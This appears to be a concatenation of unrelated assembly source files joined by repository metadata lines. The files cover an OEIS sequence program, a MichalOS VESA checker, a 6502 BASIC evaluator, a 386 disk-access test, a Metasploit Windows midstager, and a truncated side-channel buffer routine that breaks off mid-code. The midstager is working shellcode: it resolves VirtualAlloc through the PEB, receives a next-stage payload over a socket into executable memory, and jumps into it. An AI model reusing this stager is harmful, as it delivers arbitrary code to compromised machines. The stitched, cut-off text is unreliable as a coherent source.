; 1,3,7,16,37,85,191,418,893,1871,3863,7892,16005,32297,64959,130374,261309,523299,1047415,2095800,4192741,8386813,16775167,33552106,67106237,134214775,268432151,536867228,1073737733,2147479121,4294962303,8589929102,17179863165,34359731787,68719469559,137438945664,274877898469,549755804709,1099511617855,2199023244850,4398046499581,8796093009823,17592186031127,35184372074596,70368744162437,140737488339065,281474976693311,562949953402838,1125899906822973,2251799813664371,4503599627348343,9007199254717512,18014398509457125,36028797018937677,72057594037900159,144115188075826554,288230376151680829,576460752303390919,1152921504606812695,2305843009213657900,4611686018427350021,9223372036854736033,18446744073709509887,36893488147419059486,73786976294838160637,147573952589676364955,295147905179352775671,590295810358705599248,1180591620717411248613,2361183241434822549621,4722366482869645153983,9444732965739290365122,18889465931478580789885,37778931862957161641967,75557863725914323348759,151115727451828646765044,302231454903657293600389,604462909807314587273929,1208925819614629174623935,2417851639229258349326950,4835703278458516698736061,9671406556917033397557443,19342813113834066795203447,38685626227668133590498776,77371252455336267181092837,154742504910672534362284445,309485009821345068724671231,618970019642690137449448458,1237940039285380274899006653,2475880078570760549798126871,4951760157141521099596371223,9903520314283042199192863932,19807040628566084398385853445,39614081257132168796771836657,79228162514264337593543807359,158456325028528675187087753134,316912650057057350374175649149,633825300114114700748351445739,1267650600228229401496703043575,2535301200456458802993406244000
lpb $0
mov $2,$0
sub $0,1
seq $2,84634 ; Binomial transform of 1,1,1,2,2,2,2,...
add $1,$2
lpe
add $1,1
mov $0,$1
| 158.583333 | 1,698 | 0.900158 |
e87e3c2739e9230e4200f1765b2cf292f752921e | 763 | asm | Assembly | programs/vesachk.asm | informer2016/MichalOS | bfa2b660e8a2e4143c94891ad44f724e9fa3f117 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | programs/vesachk.asm | informer2016/MichalOS | bfa2b660e8a2e4143c94891ad44f724e9fa3f117 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | programs/vesachk.asm | informer2016/MichalOS | bfa2b660e8a2e4143c94891ad44f724e9fa3f117 | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] | null | null | null | ; ------------------------------------------------------------------
; MichalOS VESA mode checker
; ------------------------------------------------------------------
BITS 16
%INCLUDE "michalos.inc"
ORG 100h
start:
mov di, 16384
mov cx, 100h
.loop:
mov ax, 4F01h
int 10h
cmp ah, 00h
jne .not_good
mov ax, cx
call os_print_4hex
call os_print_space
mov ax, [di + 12h]
call os_int_to_string
mov si, ax
call os_print_string
call os_print_space
mov ax, [di + 14h]
call os_int_to_string
mov si, ax
call os_print_string
call os_print_space
mov ah, 0
mov al, [di + 19h]
call os_int_to_string
mov si, ax
call os_print_string
call os_print_newline
.not_good:
inc cx
cmp cx, 400h
jne .loop
call os_wait_for_key
ret | 14.12963 | 68 | 0.576671 |
b73d239f076741bd23f034acf2c4ce58c4fa0828 | 316 | asm | Assembly | oeis/097/A097199.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/097/A097199.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/097/A097199.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A097199: Numbers of the form p^4 + 4^p for p prime.
; Submitted by Christian Krause
; 32,145,1649,18785,4208945,67137425,17179952705,274878037265,70368744457505,288230376152419025,4611686018428311425,18889465931478582728945,4835703278458516701650465
seq $0,40 ; The prime numbers.
seq $0,1589 ; a(n) = 4^n + n^4.
| 45.142857 | 165 | 0.78481 |
33041e8cd66a0ed1b6f13cd13c0042f844ae8517 | 12,181 | asm | Assembly | source/general/evaluate.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | null | null | null | source/general/evaluate.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | null | null | null | source/general/evaluate.asm | paulscottrobson/Atomic-Basic-2 | 8ee2d894ff06137a7ac0616862be4476dec04f9e | [
"MIT"
] | 1 | 2021-10-21T22:53:41.000Z | 2021-10-21T22:53:41.000Z | ; *******************************************************************************************
; *******************************************************************************************
;
; Name : evaluate.asm
; Purpose : Evaluator (Precedence Climber)
; Date : 25th July 2019
; Author : Paul Robson (paul@robsons.org.uk)
;
; *******************************************************************************************
; *******************************************************************************************
EvaluateSNError:
jmp SyntaxError
EvaluateMissingQuote:
#error "MISSING QUOTE"
EvaluateStringFull:
#error "STRING BUFFER FULL"
EvaluateBadHex:
#error "BAD HEX"
; *******************************************************************************************
;
; Evaluate expression from reset stack/current level.
;
; *******************************************************************************************
EvaluateAtomCurrentLevel:
lda #7
bra EvaluateAtPrecedenceLevel
EvaluateBase:
ldx #0 ; reset the stack
EvaluateBaseCurrentLevel:
lda #0 ; current precedence is zero
EvaluateAtPrecedenceLevel:
pha ; save precedence level
lda #0 ; zero the result.
sta evalStack+0,x
sta evalStack+1,x
sta evalStack+2,x
sta evalStack+3,x
;
_EVALSkipSpace1:
lda (zCurrentLine),y ; get next token, skipping over spaces.
beq EvaluateSNError ; end of line, without token.
iny
cmp #32
beq _EVALSkipSpace1
dey ; points at the token.
;
cmp #KW_DQUOTE ; is it opening quote ?
beq _EVALString ; if so load in a constant string
cmp #KW_HASH ; is it a hash, e.g. hexadecimal.
beq _EVALHexadecimal
cmp #'0' ; is it in range 0-9
bcc _EVALGoKeywordVariable ; yes, it's a keyword or variable.
cmp #'9'+1
bcc _EVALDecimal
_EVALGoKeywordVariable:
jmp _EVALKeywordVariable
;
; Decimal constant
;
_EVALDecimal:
jsr EVALGetDecConstant ; get decimal constant
bra _EVALGotAtom ; got atom.
;
; String : copy into string buffer.
;
_EVALString:
phx ; save X on stack
lda #StringBuffer >> 8 ; set the address in the eval stack
sta evalStack+1,x
lda StringBufferPos ; X = Buffer Position.
sta evalStack+0,x ; that's the address of the new string
tax ; put in X to build the string.
iny ; skip over opening quote character
_EVALStringCopy:
lda (zCurrentLine),y ; get next character.
iny
beq EvaluateMissingQuote ; if zero, then there was no closing quote.
sta StringBuffer,x ; copy into the buffer
inx ; and bump that pointer.
beq EvaluateStringFull ; buffer is full.
eor #KW_DQUOTE ; keep going if not closing quote.
bne _EVALStringCopy
stx StringBufferPos ; this is the new next free slot.
sta StringBuffer-1,x ; write the zero (EOS) hence EOR to end string.
plx ; restore X
bra _EVALGotAtom ; got the atom.
;
; Hexadecimal.
;
_EVALHexaDecimal
iny ; skip over the '#'
phy ; save Y
jsr EVALGetHexConstant ; load in hexadecimal constant
sty Temp1 ; has Y changed ?
pla
cmp Temp1
beq EvaluateBadHex ; if not, error.
;
; Got here, there is an atom in our stack level.
;
_EVALGotAtom:
;
_EVALGetOperator:
lda (zCurrentLine),y ; get next token skip spaces.
iny ; this should be binary operator
cmp #$20
beq _EVALGetOperator
dey
ora #0 ; to be a binary token must be -ve
bpl _EVALExitPullA ; if +ve then exit now.
phx ; save X
tax ; token in X
lda TokenTypeInformation-128,x ; get the type info for it
sta Temp1 ; save precedence in Temp1
plx ; restore X
cmp #8 ; if type >= 8, e.g. not binary, then exit.
bcs _EVALExitPullA
pla ; get and save precedence level.
pha
cmp Temp1 ; compare operator precedence - keyword precedence level.
beq _EVALDoCalc ; equal, do it.
bcs _EVALExitPullA ; too high, then exit.
;
; Work out the RHS
;
_EVALDoCalc:
lda (zCurrentLine),y ; get the token, save on stack and skip it.
iny
pha
phx
inx ; work out right hand side.
inx
inx
inx
lda Temp1 ; get current operator precedence level.
inc a ; so work it out at the next level.
jsr EvaluateAtPrecedenceLevel ; work out the RHS.
plx ; fix X back.
;
; Work out the index x 2, then the address of the jump vector.
;
pla ; get keyword
_EVALExecuteA:
asl a ; shift left, drop bit 7
sta Temp1+1 ; save in Temp1.1
lda #KeywordVectorTable >> 8 ; set high byte of KVT
sta Temp1+2 ; set at Temp1.2
lda #$6C ; make JMP (xxxx)
sta Temp1+0
jsr Temp1 ; call that routine.
bra _EVALGotAtom ; and loop back again.
;
; Exit code.
;
_EVALExitPullA:
pla ; restore precedence.
rts
;
; Check to see if it's a Unary function - keyword and type
;
_EVALKeywordVariable:
ora #0 ; check bit 7
bpl _EVALNotUnaryFunction ; must be set for unary function
phx
tax
lda TokenTypeInformation-128,x ; get the type info for it
plx
cmp #KTYPE_UNARYFN ; is it a unary function
bne _EVALNotUnaryFunction
;
; Unary function.
;
lda (zCurrentLine),y ; get the token back
iny ; consume it
bra _EVALExecuteA ; execute TOS.
_EVALNotUnaryFunction:
lda (zCurrentLine),y
bpl _EVALCheckVariable ; if ASCII check variable
;
cmp #KW_MINUS ; check negation
beq _EVALUnaryNegation
cmp #KW_LPAREN ; check left bracket.
bne _EVALCheckUnaryOperator
;
; (expression)
;
iny ; skip left bracket.
jsr EvaluateBaseCurrentLevel ; calculate what's in the bracket.
lda #KW_RPAREN ; check right bracket.
jsr CheckNextCharacter ; check next character, after spaces.
bra _EVALGotAtom
;
; -(atom)
;
_EVALUnaryNegation:
iny ; skip over the - sign.
jsr EvaluateAtomCurrentLevel ; calculate what's being negatived (...)
jsr BFUNC_NegateAlways ; negate it.
bra _EVALGotAtom
;
; Choices left are $, ? or ! <atom>
;
_EVALCheckUnaryOperator:
pha ; save indirection operator.
iny ; skip over the operator
jsr EvaluateAtomCurrentLevel ; calculate the address.
pla ; restore the operator
cmp #KW_DOLLAR ; $ is for visual typing, it does nothing
beq _EVALGoGotAtom
cmp #KW_QUESTION ; byte indirection
beq _EVALByteRead
cmp #KW_PLING ; word indirection
beq _EVALWordRead
jmp SyntaxError ; give up.
;
_EVALByteRead:
jsr EVALReadByteIndirect
_EVALGoGotAtom:
jmp _EVALGotAtom
_EVALWordRead:
jsr EVALReadWordIndirect
jmp _EVALGotAtom
;
; Check variable X, array element X(4), array element XX0
;
_EVALCheckVariable:
jsr VARReference ; get variable reference to ZTemp1
jsr EVALReadWordIndirectZTemp ; read that address into current stack level.
jmp _EVALGotAtom ; and go round.
; *******************************************************************************************
;
; Load in a decimal constant from the input.
;
; *******************************************************************************************
EVALGetDecConstant:
lda (zCurrentLine),y ; get next
cmp #'0' ; check in range 0-9.
bcc _EVGDExit
cmp #'9'+1
bcc _EVGDValue ; if so has legal value
_EVGDExit:
rts
_EVGDValue: ; value. first multiply by 10.
pha ; save value, Y on stack
phy
ldy #3 ; 3 shifts.
lda evalStack+3,x ; push x1 value on stack.
pha
lda evalStack+2,x
pha
lda evalStack+1,x
pha
lda evalStack+0,x
pha
_EVGDLoop:
asl evalStack+0,x ; rotate left once.
rol evalStack+1,x
rol evalStack+2,x
rol evalStack+3,x
cpy #2 ; if done it twice now
bne _EVGDNoAdd
clc ; then it will be x 4, adding +1 => x 5
pla
adc evalStack+0,x
sta evalStack+0,x
pla
adc evalStack+1,x
sta evalStack+1,x
pla
adc evalStack+2,x
sta evalStack+2,x
pla
adc evalStack+3,x
sta evalStack+3,x
_EVGDNoAdd: ; do 3 times in total.
dey
bne _EVGDLoop
ply ; restore YA
pla
iny ; next character
and #15 ; force into range and put in.
clc
adc evalStack+0,x ; add digit in
sta evalStack+0,x
bcc EVALGetDecConstant ; propogate constant through
inc evalStack+1,x
bne EVALGetDecConstant
inc evalStack+2,x
bne EVALGetDecConstant
inc evalStack+3,x
bra EVALGetDecConstant ; go back and try again.
; *******************************************************************************************
;
; Load in a hex constant from the input.
;
; *******************************************************************************************
EVALGetHexConstant:
lda (zCurrentLine),y ; get next
jsr EVALToUpper ; make upper case
sec
sbc #"0" ; range 0-9
bcc _EVGHExit ; exit if CC
cmp #9+1 ; if < 9 have a legal value.
bcc _EVGHValue
sbc #7 ; now in range 10-15 if okay.
cmp #15+1
bcc _EVGHValue
_EVGHExit:
rts
;
_EVGHValue:
phy ; save Y and new digit.
pha
ldy #4 ; rotate left 4
_EVGHRotate:
asl evalStack+0,x
rol evalStack+1,x
rol evalStack+2,x
rol evalStack+3,x
dey
bne _EVGHRotate
pla ; restore digit and X
ply
iny ; next character
clc
ora evalStack+0,x ; add digit in
sta evalStack+0,x
bra EVALGetHexConstant ; go back and try again.
; *******************************************************************************************
;
; Convert A to upper case
;
; *******************************************************************************************
EVALToUpper:
cmp #'a'
bcc _EVTUExit
cmp #'z'+1
bcs _EVTUExit
eor #32
_EVTUExit:
rts
; *******************************************************************************************
;
; Indirect byte read. If high bytes non zero do a long read on Mega65
;
; *******************************************************************************************
EVALReadByteIndirect:
lda evalStack+0,x ; copy address over.
sta zTemp1
lda evalStack+1,x
sta zTemp1+1
lda evalStack+2,x
sta zTemp1+2
lda evalStack+3,x
sta zTemp1+3
;
.if TARGET=1 ; only for M65.
lda zTemp1+2 ; address $0000xxxx
ora zTemp1+3
beq _ERBBase
ldz #0 ; read from far memory.
nop
lda (zTemp1),z
bra _ERBExit
.endif
_ERBBase:
phy
ldy #0 ; read byte
lda (zTemp1),y
ply
_ERBExit:
sta evalStack+0,x
;
lda #0 ; zero upper three bytes
sta evalStack+1,x
sta evalStack+2,x
sta evalStack+3,x
rts
; *******************************************************************************************
;
; Indirect word read. If high bytes non zero do a long read on Mega65
;
; *******************************************************************************************
EVALReadWordIndirect:
lda evalStack+0,x ; copy address over.
sta zTemp1
lda evalStack+1,x
sta zTemp1+1
lda evalStack+2,x
sta zTemp1+2
lda evalStack+3,x
sta zTemp1+3
EVALReadWordIndirectZTemp:
.if TARGET=1 ; only for M65.
lda zTemp1+2 ; address $0000xxxx
ora zTemp1+3
beq _ERWBase
ldz #0 ; read from far memory.
nop
lda (zTemp1),z
sta evalStack+0,x
inz
nop
lda (zTemp1),z
sta evalStack+1,x
inz
nop
lda (zTemp1),z
sta evalStack+2,x
inz
nop
lda (zTemp1),z
sta evalStack+3,x
bra _ERWExit
.endif ;
;
_ERWBase
phy
ldy #0 ; read word
lda (zTemp1),y
sta evalStack+0,x
iny
lda (zTemp1),y
sta evalStack+1,x
iny
lda (zTemp1),y
sta evalStack+2,x
iny
lda (zTemp1),y
sta evalStack+3,x
;
ply
_ERWExit:
rts
| 26.027778 | 93 | 0.548313 |
8fcf519cb031662dd4c5c8239cc7a045cda0b908 | 73 | asm | Assembly | src/main/fragment/mos6502-common/vwsm1_gt_pwsc1_derefidx_vbuxx_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vwsm1_gt_pwsc1_derefidx_vbuxx_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vwsm1_gt_pwsc1_derefidx_vbuxx_then_la1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | lda {c1},x
cmp {m1}
lda {c1}+1,x
sbc {m1}+1
bvc !+
eor #$80
!:
bmi {la1}
| 8.111111 | 12 | 0.520548 |
de5301c20dfb48ac17826530c524d76eca3c160c | 826 | asm | Assembly | oeis/005/A005572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/005/A005572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/005/A005572.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A005572: Number of walks on cubic lattice starting and finishing on the xy plane and never going below it.
; Submitted by Christian Krause
; 1,4,17,76,354,1704,8421,42508,218318,1137400,5996938,31940792,171605956,928931280,5061593709,27739833228,152809506582,845646470616,4699126915422,26209721959656,146681521121244,823429928805936,4635568494271458,26164055028730680,148028380046626572,839353395601384624,4769085923339484596,27148987714036365808,154826178654609946504,884416719050700918176,5059942789892711332861,28991380733173058343564,166337066846614898632422,955589820381552526558872,5496480887612472151994710,31651889874764017846769672
mov $1,1
mov $3,$0
mov $4,3
lpb $3
mul $1,$4
mul $1,$3
mul $1,2
add $2,1
add $5,$4
div $1,$5
add $2,$1
mul $2,2
sub $3,1
add $4,2
lpe
mov $0,$2
div $0,2
add $0,1
| 35.913043 | 501 | 0.802663 |
f37a9be8563fdfbdb90be77ee677e7c9fdb42867 | 3,824 | asm | Assembly | sample/test.asm | satadriver/LiunuxOS | 693174ac2b3e503d72782fc7a14f18c8a4f2756c | [
"Apache-2.0"
] | null | null | null | sample/test.asm | satadriver/LiunuxOS | 693174ac2b3e503d72782fc7a14f18c8a4f2756c | [
"Apache-2.0"
] | null | null | null | sample/test.asm | satadriver/LiunuxOS | 693174ac2b3e503d72782fc7a14f18c8a4f2756c | [
"Apache-2.0"
] | null | null | null | .386p
include tss.inc
include pe.h
PDE_ENTRY_VALUE equ 20000h
REALMODE_FILEBUF_ADDR equ 8000h
reCode32Seg equ 20h
reCode16Seg equ 30h
rwData32Seg equ 40h
int13CodeSeg equ 50h
kerneldata segment
idtReg df 0
_sectorNumber dd 0
_sectorCount dd 0
_fileBuffer dd 0
_fileBufferSize dd 0
_int13ESP dd 0
_int13SS dd 0
_int13Result dd 0
HdPciPortBuf db 1024 dup (0)
HdSlaveFlag db 0
HdPortBase dw 0
AscHdPortBase dd 0
MultiModeSecNum db 256 dup (0)
ParamBuf db 1024 dup (0)
AscHdSlaveFlag dd 0
MsgHdPortBase dd 0
SataFlag db 0
BmHdPortBase dw 0
hdintlinepin dd 0
kerneldata ends
kernel2 segment
HdPciPortBuf1 db 1024 dup (0)
HdSlaveFlag2 db 0
HdPortBase3 dd 0
AscHdPortBase4 dd 0
kernel2 ends
code segment public para use32
assume cs:code
start:
mov eax,offset _test2
sub eax,offset _test1
db 0eah
dw offset _test2 - offset _test1
dw 20h
_test1:
mov eax,3
mov edx,2
mov ecx,4
mov edx,20
mov ecx,21
_test2:
align 10h
;param:edi->secno,edi+4->seccnt,edi+8->buf,edi + 12->bufsize
__int13hProc proc
cli
pushad
push ds
push es
push fs
push gs
push ss
mov ebx,kernelData
shl ebx,4
mov eax,ds:[edi]
mov dword ptr ds:[ebx + _sectorNumber],eax
mov eax,ds:[edi + 4]
mov dword ptr ds:[ebx + _sectorCount],eax
mov eax,ds:[edi + 8]
mov dword ptr ds:[ebx + _fileBuffer],eax
mov eax,ds:[edi +12]
mov dword ptr ds:[ebx + _fileBufferSize],eax
mov eax,esp
mov dword ptr ds:[ebx + _int13ESP],eax
mov eax,ss
mov dword ptr ds:[ebx + _int13SS],eax
mov eax,cr3
and eax,7fffffffh
mov cr3,eax
jmp _int13CloseCr3
_int13CloseCr3:
mov eax,cr0
and eax,0fffffffeh
mov cr0,eax
;不能从32位代码段返回实模式,而只能从16位代码段返回
;对于normal的描述符,其最重要是段界限一定要设置为0ffffh,如果不是这样,那莫在由保护模式跳转到实模式后会发生错误
;可以从16位实模式直接跳转32位保护模式
db 0eah
dd offset __int13Pm16Entry
dw reCode16Seg
_int13Pm32Entry:
mov eax,kernelData
mov ds,ax
mov es,ax
mov ss,ax
lidt fword ptr ds:[idtReg]
;进入保护模式之前必须使cr4为0
;must set cr4 to 0
mov eax,0
;mov cr4,eax
db 0fh,22h,0e0h
mov eax,cr0
or al,1
mov cr0,eax
;跳过16位保护模式,直接进入32位保护模式
db 0eah
dw offset _int13SwitchCode32Seg
dw int13CodeSeg
_int13SwitchCode32Seg:
db 0eah
__int13RetPm32EIP dd 0
dw reCode32Seg
_int13RetPm32:
mov ax,rwData32Seg
mov ds,ax
mov es,ax
mov ebx,kernelData
shl ebx,4
mov esp,ds:[ebx + _int13ESP]
mov ss,word ptr ds:[ebx + _int13SS]
mov eax,PDE_ENTRY_VALUE
mov cr3,eax
mov eax,cr0
or eax,80000000h
mov cr0,eax
jmp _int13ReflushPage
_int13ReflushPage:
mov ecx,ds:[ebx + _int13Result]
shl ecx,9
mov edi,ds:[ebx + _fileBuffer]
mov esi,REALMODE_FILEBUF_ADDR
cld
rep movsb
pop ss
pop gs
pop fs
pop es
pop ds
popad
sti
iretd
jmp __int13hProc
__int13hProc endp
__int13Pm16Entry:
mov eax,offset AscHdPortBase4
mov eax,offset AscHdPortBase
mov ax,5000h
mov ds,ax
mov es,ax
mov dx,0d006h
mov al,0e0h
out dx,al
mov dx,0d002h
mov al,1
out dx,al
mov dx,0d001h
mov al,0
out dx,al
mov dx,0d007h
mov al,0ech
out dx,al
mov ecx,1000h
in al,dx
mov edi,0
mov ecx,100h
rep insw
mov dx,0d006h
mov al,0f0h
out dx,al
mov dx,0d002h
mov al,1
out dx,al
mov dx,0d001h
mov al,0
out dx,al
mov dx,0d007h
mov al,0ech
out dx,al
in al,dx
mov edi,0
mov ecx,100h
rep insw
mov dx,0d00eh
mov al,0e0h
out dx,al
mov dx,0d00ah
mov al,1
out dx,al
mov dx,0d009h
mov al,0
out dx,al
mov dx,0d00fh
mov al,0ech
out dx,al
in al,dx
mov edi,0
mov ecx,100h
rep insw
mov dx,0d00eh
mov al,0f0h
out dx,al
mov dx,0d00ah
mov al,1
out dx,al
mov dx,0d009h
mov al,0
out dx,al
mov dx,0d00fh
mov al,0ech
out dx,al
in al,dx
mov edi,0
mov ecx,100h
rep insw
;call GetHdPortBase
mov ah,4ch
int 21h
code ends
end start
| 12.662252 | 63 | 0.700052 |
8c73d7aef639993c586d2fadef8739b6a006bf32 | 4,207 | asm | Assembly | external/source/shellcode/windows/midstager.asm | madhavarao-yejarla/VoIP | 3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e | [
"Apache-2.0",
"BSD-3-Clause"
] | 35 | 2015-08-08T07:23:38.000Z | 2021-04-07T18:00:44.000Z | external/source/shellcode/windows/midstager.asm | madhavarao-yejarla/VoIP | 3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e | [
"Apache-2.0",
"BSD-3-Clause"
] | 1 | 2019-02-12T12:13:53.000Z | 2019-02-12T12:13:53.000Z | external/source/shellcode/windows/midstager.asm | fozavci/metasploit-framework-with-viproy | 3f7d0cdc0bb1423f9e952e411d073a1424ef9f5e | [
"Apache-2.0",
"BSD-3-Clause"
] | 23 | 2015-08-11T05:07:47.000Z | 2020-11-06T03:55:10.000Z | ;
; Metasploit Framework
; http://www.metasploit.com
;
; Source for the windows midstager
;
; Original Author: Matt Miller <mmiller[at]hick.org>
; Updated Kernel32: Stephen Fewer <info@harmonysecurity.com>
; Size: 222
;
; This midstager performs the following actions...
;
; // get address's for ws2_32!recv and kernel32!VirtualAlloc ...
; recv( socket, &dwSize, 4, 0 );
; pNextStage = VirtualAlloc( NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );
; do
; {
; dwBytesRecieved = recv( socket, pNextStage, dwSize, 0 );
; pNextStage += dwBytesRecieved
; dwSize -= dwBytesRecieved
; } while( dwSize != 0 );
; // execute the next stage ...
;
; assemble with: >nasm -o midstager.bin midstager.asm
[BITS 32]
global _start
_start:
cld
xor ebx, ebx
mov eax, [fs:ebx+0x30]
mov eax, [eax+0xc]
mov edx, [eax+0x1C]
mov edx, [edx]
mov esi, [edx+0x20]
lodsd
lodsd
dec esi
add eax, [esi]
cmp eax, 0x325F3332
jnz 0x0D
mov ebp, [edx+0x8]
mov eax, [ebp+0x3c]
mov ecx, [ebp+eax+0x78]
mov ecx, [ebp+ecx+0x1C]
add ecx, ebp
mov esi, [ecx+0x3C]
add esi, ebp
pushad
; parse the kernels export table for VirtualAlloc...
mov ebx, [fs:ebx+0x30] ; get a pointer to the PEB
mov ebx, [ebx+0x0C] ; get PEB->Ldr
mov ebx, [ebx+0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink
next_mod:
mov esi, [ebx+0x28] ; get pointer to modules name (unicode string)
push byte 24 ; push down the length we want to check
pop ecx ; set ecx to this length for the loop
xor edi, edi ; clear edi which will store the hash of the module name
loop_modname:
xor eax, eax ; clear eax
lodsb ; read in the next byte of the name
cmp al, 'a' ; some versions of Windows use lower case module names
jl not_lowercase ;
sub al, 0x20 ; if so normalise to uppercase
not_lowercase: ;
ror edi, 13 ; rotate left our hash value
add edi, eax ; add the next byte of the name
loop loop_modname ; loop untill we have read enough
cmp edi, 0x6A4ABC5B ; compare the hash with that of kernel32.dll
mov ebp, [ebx+0x10] ; get this modules base address
mov ebx, [ebx] ; get the next module
jne next_mod ; if it doesnt match, process the next module
mov eax, [ebp+0x3C]
mov edi, [ebp+eax+0x78]
add edi, ebp
mov ecx, [edi+0x18]
mov ebx, [edi+0x20]
add ebx, ebp
next_entry:
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
next_byte:
lodsb
test al, al
jz hash_complete
ror edx, 0x0D
add edx, eax
jmp short next_byte
hash_complete:
cmp edx, 0x91AFCA54 ; check if we have VirtualAlloc
jnz next_entry
mov ebx, [edi+0x24]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+0x1C]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
mov [esp+0x8], ebx ; patch saved ebp = VirtualAlloc
popad ; pop all saved registers back
mov ebx, esp ; ebx = pointer to our 4 byte buffer on the stack
push byte +0x0 ; flags
push byte +0x4 ; size = 4 bytes
push ebx ; buffer address
push edi ; socket
call esi ; recv( socket, &buffer, 4, 0 )
mov ebx, [ebx] ; dereference our size pointer
push 0x40 ; PAGE_EXECUTE_READWRITE
push 0x3000 ; MEM_COMMIT | MEM_RESERVE
push ebx ; size
push 0x00000000 ; null
call ebp ; VirtualAlloc( NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE )
mov ebp, eax ; ebp = our new memory address for the new stage
push ebp ; push the address of the new stage so we can return into it
read_more:
push byte +0x0 ; flags
push ebx ; size
push ebp ; pBuffer
push edi ; socket
call esi ; recv( socket, pBuffer, length, 0 )
add ebp, eax ; pBuffer += bytes_received
sub ebx, eax ; length -= bytes_received
test ebx, ebx ; test length
jnz read_more ; continue if we have more to read
ret ; return into new stage
| 31.162963 | 100 | 0.613739 |
f6676e4d6c1a51d200e3b07f0a911ebb56899187 | 196 | asm | Assembly | 21-Big-Data.speed.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | 21-Big-Data.speed.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | 21-Big-Data.speed.size.asm | blueset/7bh-solutions | 988afddf87411bec06ec9e90179b55fb55345a5d | [
"MIT"
] | null | null | null | -- 7 Billion Humans --
-- 21: Big Data --
-- Size: 9/9 --
-- Speed: 29/37 --
a:
if s != printer:
step s
jump a
endif
b:
takefrom s
if myitem < 50:
giveto sw
step e
jump b
endif
step nw
c:
| 8.909091 | 22 | 0.581633 |
024b13bdf079b8235a3b3ddb196ee8f36aafee15 | 6,148 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_356.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_356.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_356.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x9a11, %rsi
lea addresses_WC_ht+0xfb11, %rdi
nop
nop
nop
nop
nop
and %r14, %r14
mov $12, %rcx
rep movsq
nop
nop
nop
nop
xor %rbp, %rbp
lea addresses_normal_ht+0xef11, %rsi
nop
nop
nop
nop
nop
and %r9, %r9
movups (%rsi), %xmm5
vpextrq $0, %xmm5, %rcx
nop
nop
nop
nop
cmp $6233, %rbp
lea addresses_UC_ht+0xab11, %rsi
lea addresses_normal_ht+0xee51, %rdi
nop
and %r11, %r11
mov $99, %rcx
rep movsw
nop
nop
inc %r9
lea addresses_A_ht+0x24f1, %rbp
nop
nop
cmp %rcx, %rcx
movb $0x61, (%rbp)
nop
nop
nop
nop
cmp %r14, %r14
lea addresses_A_ht+0xe4d1, %r9
nop
nop
nop
nop
add $54485, %rdi
mov (%r9), %ecx
nop
nop
inc %r14
lea addresses_WT_ht+0xc43e, %rcx
nop
cmp %r11, %r11
movw $0x6162, (%rcx)
sub %rbp, %rbp
lea addresses_A_ht+0xf2f1, %rdi
xor $6987, %rcx
movl $0x61626364, (%rdi)
nop
nop
nop
and $20934, %rbp
lea addresses_WC_ht+0x9e01, %rsi
lea addresses_UC_ht+0x18611, %rdi
nop
nop
